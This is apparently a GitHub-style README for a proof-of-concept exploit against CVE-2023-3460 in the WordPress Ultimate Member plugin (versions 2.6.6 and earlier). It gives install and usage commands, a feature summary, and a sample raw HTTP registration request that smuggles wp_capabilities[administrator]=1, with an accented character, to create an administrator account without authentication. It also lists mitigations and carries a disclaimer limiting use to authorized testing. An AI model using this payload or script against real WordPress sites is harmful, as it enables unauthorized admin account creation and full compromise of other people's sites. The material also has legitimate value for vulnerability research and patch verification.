🚨 CVE-2023-3460 - WordPress Ultimate Member Privilege Escalation Exploit

This is a proof-of-concept (PoC) exploit for CVE-2023-3460, a critical vulnerability in the WordPress plugin Ultimate Member. It allows unauthenticated users to escalate their privileges to Administrator by crafting a malicious registration request.

🔥 Impact: Full site compromise through unauthorized admin account creation.

📌 Vulnerability Details

• Plugin Affected: Ultimate Member
• Affected Versions: ≤ 2.6.6
• Fixed Version: 2.6.7
• Exploit Type: Privilege Escalation via Registration Abuse
• Authentication Required: ❌ No
• CVE: CVE-2023-3460

⚙️ Requirements

• Python 3
• requests library
• urllib3 library
• beautifulsoup4 library

Install requirements:

pip3 install requests urllib3 beautifulsoup4

🧪 Exploit Usage

python3 CVE-2023-3460.py -t <TARGET_URL> -u <NEW_USERNAME> -p <NEW_PASSWORD> 

✅ Example:

python3 CVE-2023-3460.py -t http://localhost/register/ -u pwnadmin -p Pass@123 

📥 Exploit Script Features

• Fetches CSRF nonce (_wpnonce) from the register page
• Bypasses form validation
• Injects wp_capabilities with administrator role
• Creates a new admin user without authentication

🔐 Sample Exploit Payload

POST /register/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_login=pwnadmin&
[email protected]&
user_password=Pass@123&
wp_càpabilities[administrator]=1&
_um_nonce=<nonce_value>

🛡️ Mitigation

• Update Ultimate Member plugin to v2.6.7 or above
• Disable open registration if not required
• Monitor user creation logs for suspicious activity

📚 References

• 🔗 Patchstack Advisory
• 🔗 CVE-2023-3460 on NVD

⚠️ Disclaimer

This script is provided for educational and authorized testing purposes only. Unauthorized exploitation of systems is illegal and unethical. Use it only on systems you own or have permission to test.

👨‍💻 Author

• 💀 [GURJOT SINGH]
• 🔒 [Linkdin: https://in.linkedin.com/in/gurjot-singh-8198b3220]